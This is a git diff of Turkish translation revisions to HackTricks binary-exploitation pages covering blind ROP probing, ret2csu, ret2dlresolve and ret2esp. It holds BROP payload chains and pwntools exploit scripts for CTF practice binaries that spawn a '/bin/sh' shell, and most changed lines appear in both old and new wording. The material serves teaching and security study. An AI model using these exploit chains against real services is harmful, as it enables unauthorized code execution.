Eğer **STOP yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adresin aynı zamanda bir DURAK adresi olduğu anlamına gelir.
Eğer **DURAK yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adres aynı zamanda bir DURAK adresiydi.
Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için STOP cihazını yürütmeyecek yeni bir zincir yürütülür:
Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için aşağıdaki gibi yeni bir zincir yürütülür ve DURAK cihazını yürütmemesi gerekir:
`'A' * ofset + canary + rbp + ADDR`
`'A' * ofset + canary + rbp + ADRES`
ret2csu cihazının adresini bildiğinizde, **`rsi` ve `rdi`'yi kontrol etmek için cihazların adresini çıkarabilirsiniz**.
### 6. PLT'yi bulma
PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu çökmez, hatta argümanlar doğru değilse. Ayrıca, **PLT + 6B'deki bir giriş adresini kontrol etmek de çökmez** çünkü bu ilk olarak yürütülen kod olacaktır.
PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu, argümanlar doğru olmasa bile çökmeyecektir. Ayrıca, **PLT + 6B'deki bir giriş adresini kontrol etmek de çökmeyecektir** çünkü bu ilk olarak yürütülen kod olacaktır.
Bu nedenle, PLT tablosunu bulmak için aşağıdaki davranışları kontrol etmek mümkündür:
* `'A' * ofset + canary + rbp + ADDR + STOP` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADDR + 0x10) + STOP` -> çökme olmaz
* `'A' * ofset + canary + rbp + ADRES + DURAK` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADRES + 0x6) + DURAK` -> çökme olmaz
* `'A' * ofset + canary + rbp + (ADRES + 0x10) + DURAK` -> çökme olmaz
### 7. strcmp'i bulma
**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirten **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için bu değerin 0'dan büyük olması gerektiğini unutmayın.
**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirlemek için **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için bunun **0'dan büyük olması gerektiğini** unutmayın.
Şimdi, artık işlevlerin ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **`strcmp`**'in PLT'deki konumunu bulmak mümkündür:
Şimdi, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **PLT'deki strcmp'in konumunu** bulmak mümkündür:
* strcmp(\<okunmayan adres>, \<okunmayan adres>) -> çökme
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
@ -85,17 +86,17 @@ Bu nedenle, PLT tablosunu bulmak için aşağıdaki davranışları kontrol etme
Bunu kontrol etmek için PLT tablosunun her girişini çağırarak veya **PLT yavaş yolu**'nu kullanarak yapılabilir. Bu, temelde **PLT tablosundaki bir girişi + 0xb** (ki bu **`dlresolve`**'a çağrı yapar) çağırmayı ve yığında **taramak istediğiniz giriş numarasını** (sıfırdan başlayarak) takip etmeyi içerir:
* strcmp(\<okunmayan adres>, \<okunan adres>) -> çökme
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK` -> Çökecek
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK`&#x20;
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme olmaz
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK`&#x20;
Unutmayın ki:
* BROP + 0x7 **`pop RSI; pop R15; ret;`'e** işaret eder
* BROP + 0x9 **`pop RDI; ret;`'e** işaret eder
* PLT + 0xb **dl\_resolve**'a bir çağrı yapar.
* PLT + 0xb **`dl\_resolve`'a** bir çağrı yapar.
`strcmp` bulunduğunda, **`rdx`**'i 0'dan büyük bir değere ayarlamak mümkün olacaktır.
@ -114,15 +115,15 @@ Bunu gerçekleştirmek için kötüye kullanılabilecek 3 yaygın fonksiyon bulu
Ancak, orijinal makale sadece **`write`**'ı belirtir, bu yüzden ondan bahsedelim:
Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyor olmamız** ve **verileri soketimize göndermek için bir fd numarasının olmamasıdır**.
Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyoruz** ve **verileri soketimize göndermek için bir fd numarası bilmiyoruz**.
Ancak, **PLT tablosunun nerede olduğunu biliyoruz** ve write'ı **davranışına göre bulmak mümkündür**. Ve sunucuyla **birkaç bağlantı oluşturabiliriz ve yüksek bir FD kullanarak** bağlantılarımızdan bazılarıyla eşleşmesini umabiliriz.
Ancak, **PLT tablosunun nerede olduğunu biliyoruz** ve davranışına dayanarak write'ı bulmak mümkündür. Ve sunucuyla **birkaç bağlantı oluşturabiliriz ve yüksek bir FD kullanabiliriz** umarak bağlantılarımızdan bazılarıyla eşleştiğini umabiliriz.
Bu fonksiyonları bulmak için davranış imzaları:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, puts bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, dprintf bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, write bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, puts bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, dprintf bulundu
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, write bulundu
## Otomatik Sömürü

View file

@ -1,18 +1,19 @@
# Ret2csu
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
##
@ -26,7 +27,7 @@ Bir program belirli kütüphaneleri (örneğin libc) kullandığında, programı
**`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:
1. İlk dizi bize birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir.
1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir.
```armasm
pop rbx;
pop rbp;
@ -38,8 +39,8 @@ ret;
```
Bu cihaz, bu kayıtları yığınından çıkararak onları kontrol etmemizi sağlar.
2. İkinci sıra, kurduğumuz değerleri kullanarak birkaç şey yapmak için kullanılır:
* **Belirli değerleri diğer kayıtlara taşır**, böylece bunları işlevlerde parametre olarak kullanmaya hazır hale getirir.
2. Sıradaki dizilim, kurduğumuz değerleri kullanarak birkaç şey yapar:
* **Belirli değerleri diğer kayıtlara taşır**, bunları işlevlerde parametre olarak kullanmamız için hazır hale getirir.
* r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma **çağrı yapar**, ardından rbx'i 8 ile çarpar.
```armasm
mov rdx, r15;
@ -47,7 +48,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. Belki de oraya yazacak herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihaz da bir `ret` ile sona erecek, ancak ona ulaşmak için bazı **koşulları karşılamanız gerekecek**:
2. Belki de oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihazın da bir `ret` ile sona ereceğini unutmayın, ancak ona ulaşmak için bazı **koşulları** karşılamanız gerekecek:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -59,10 +60,12 @@ jnz <func>
...
ret
```
Koşullar şunlar olacak:
```plaintext
Koşullar şunlar olacaktır:
* `[r12 + rbx*8]`, çağrılabilir bir işlevi saklayan bir adrese işaret etmelidir (fikir yoksa ve pie yoksa, sadece `_init` işlevini kullanabilirsiniz):
* Eğer \_init `0x400560` adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresi, \_init'e işaret eden işaretçi olan adres olsun:
* Eğer \_init `0x400560` adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresinin \_init'e işaret eden işaretçi olan adres olmasını sağlayın:
```
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -79,7 +82,7 @@ gef➤ search-pattern 0x400560
Ret2csu cihazından **`rdi`** ve **`rsi`**'yi kontrol etmenin başka bir yolu, belirli ofsetlere erişerek yapılır:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Daha fazla bilgi için bu sayfaya bakın:
@ -95,10 +98,10 @@ Bir sistem çağrısı yapmak veya `write()` gibi bir işlevi çağırmak istedi
İşte burada **ret2csu** devreye giriyor:
1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak yığınından değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e alın.
1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak değerleri yığından rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e alın.
2. **İkinci Cihazı Kullanın**: Bu kayıtlar ayarlandıktan sonra ikinci cihazı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır, işlev çağrısı için parametreleri hazırlar. Dahası, `r15` ve `rbx`'i kontrol ederek, hesapladığınız ve `[r15 + rbx*8]`'e yerleştirdiğiniz adreste bulunan bir işlevi programı çağırabilirsiniz.
Bu tekniği kullanan ve açıklayan bir [**örneğe buradan ulaşabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), ve kullanılan son saldırı şudur:
Bu tekniği kullanan ve açıklayan bir [**örneğe buradan ulaşabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), ve bu kullanılan son saldırı şudur:
```python
from pwn import *
@ -123,12 +126,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Önceki saldırının bir **`RCE`** gerçekleştirmek için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve r15'te saklayarak üçüncü argümanı `0xdeadbeefcafed00d` değeri ile çağırır).
Önceki saldırının bir **`RCE`** yapmak için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve bunu r15'e saklayarak üçüncü bir argümanla değeri `0xdeadbeefcafed00d` olarak).
{% endhint %}
### Çağrıyı atlayarak ve ret'e ulaşarak geçme
Aşağıdaki saldırı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarılmıştır, burada **ret2csu** kullanılmış ancak çağrı yerine karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşılmıştır:
Aşağıdaki saldırı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarıldı, burada **ret2csu** kullanılıyor ancak çağrı yerine karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşılıyor:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -178,6 +181,6 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Neden Sadece libc'yi Kullanmıyoruz?
### Neden Sadece Libc'yi Kullanmıyoruz?
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) için de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bu parametreleri doğrudan ayarlamak için gerekli olan gadget'ları bulmak mümkün olmayabilir**.
Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bu parametreleri doğrudan ayarlayacak gadget'ları bulmak mümkün olmayabilir**.

View file

@ -1,31 +1,32 @@
# Ret2dlresolve
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar sembolleri (harici kütüphanelere adresler gibi) ilk kez kullanıldıklarında çözerler. Bu çözümleme, **`_dl_runtime_resolve`** işlevini çağırarak gerçekleşir.
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar, sembolleri (harici kütüphanelere adresler gibi) ilk kez kullandıklarında çözerler. Bu çözümleme, **`_dl_runtime_resolve`** işlevini çağırarak gerçekleşir.
**`_dl_runtime_resolve`** işlevi, belirtilen sembolü **çözebilmek** için gereken bazı yapıların referanslarını yığından alır.
**`_dl_runtime_resolve`** işlevi, belirtilen sembolü **çözmek** için gereken bazı yapıların referanslarını yığından alır.
Bu nedenle, dinamik bağlantılı sembolü çözmek için tüm bu yapıların **sahte oluşturulması** mümkündür (örneğin **`system`** işlevi gibi) ve yapılandırılmış bir parametre ile çağrılabilir (örneğin **`system('/bin/sh')`**).
Bu nedenle, istenen sembolü (örneğin **`system`** işlevi) çözmek ve yapılandırılmış bir parametreyle (örneğin **`system('/bin/sh')`**) çağırmak için tüm bu yapıların **sahte oluşturulması mümkündür**.
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yaparak başlangıç ROP zinciri oluşturularak sahte edilir, ardından yapılar ve dize **`'/bin/sh'`** okunarak bilinen bir konumda depolanır ve ardından ROP zinciri, **`_dl_runtime_resolve`**'ı çağırarak devam eder, sahte yapılar içinde **`system`** adresini çözer ve bu adresi **`'/bin/sh'`** adresiyle çağırır.
Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde `read` çağrısı yaparak başlangıç ROP zinciri oluşturularak sahte yapılar ve dize **`'/bin/sh'`** okunarak bilinen bir konumda depolanır ve ardından ROP zinciri, **`_dl_runtime_resolve`**'ı çağırarak devam eder, sahte yapılar içinde **`system`** adresini çözer ve bu adresi **`'/bin/sh'`** adresiyle çağırır.
{% hint style="success" %}
Bu teknik özellikle sistem çağrı cihazları olmadığında (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikleri kullanmak için) ve libc adreslerini sızdıracak yollar olmadığında kullanışlıdır.
Bu teknik özellikle sistem çağrıları için (örneğin [**ret2syscall**](rop-syscall-execv/) veya [SROP](srop-sigreturn-oriented-programming/) gibi teknikleri kullanmak için sistem çağrısı cihazları yoksa ve libc adreslerini sızdırmak için yollar yoksa) yararlıdır.
{% endhint %}
Bu tekniğin güzel bir açıklaması için bu videoya bakın:
@ -41,11 +42,11 @@ Veya adım adım açıklama için bu sayfalara bakın:
1. Sahte yapıları bir yere yazın
2. System'in ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`)
3. Yığında yapıları çağırmak için adresleri ayarlayın **`_dl_runtime_resolve`**
3. Yığında, **`_dl_runtime_resolve`**'ı çağırmak için yapıların adreslerini ayarlayın
4. **`_dl_runtime_resolve`**'ı **çağırın**
5. **`system`**, argüman olarak `'/bin/sh'` ile çözülecek ve çağrılacaktır
[**pwntools belgelerinden**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) bu şekilde bir **`ret2dlresolve`** saldırısı görünür.
[**pwntools belgelerinden**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), bir **`ret2dlresolve`** saldırısının nasıl göründüğü:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -69,7 +70,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### Saf Pwntools
Bu teknikle ilgili bir [**örneği burada**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içeren** bulabilirsiniz, ancak kullanılan son saldırı şu şekildedir:
Bu teknik örneğinin [**burada**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içerdiğini** bulabilirsiniz, ancak kullanılan son saldırı şu şekildedir:
```python
from pwn import *
@ -199,4 +200,19 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32bit, relro yok, canary yok, nx, pie yok, temel küçük buffer overflow ve return. Sömürmek için bof, `read`'i tekrar `.bss` bölümü ve daha büyük bir boyutta çağırmak için kullanılır, `dlresolve` sahte tabloları yüklemek için `system`'ı yüklemek, ana dönüş ve başlangıçtaki bof'u tekrar kötüye kullanmak için dlresolve'u çağırmak ve ardından `system('/bin/sh')`'ı çağırmak için kullanılır.
* 32 bit, relro olmayan, canary olmayan, nx, pie olmayan, temel küçük buffer overflow ve return. Sömürmek için bof, `read`'i bir kez daha çağırmak için kullanılır, `.bss` bölümü ve daha büyük bir boyutta, oraya `dlresolve` sahte tablolarını yüklemek için, `system`'i yüklemek için ana dönüş ve başlangıçtaki bof'u tekrar kötüye kullanmak için dlresolve'u çağırmak ve ardından `system('/bin/sh')`'i çağırmak için.
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Ret2esp / Ret2reg
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **Ret2esp**
**Çünkü ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret eder**, bu teknik, EIP'yi (Komut İşaretçisi) bir **`jmp esp`** veya **`call esp`** komutunun adresiyle değiştirerek ilgilidir. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. `ret` komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer.
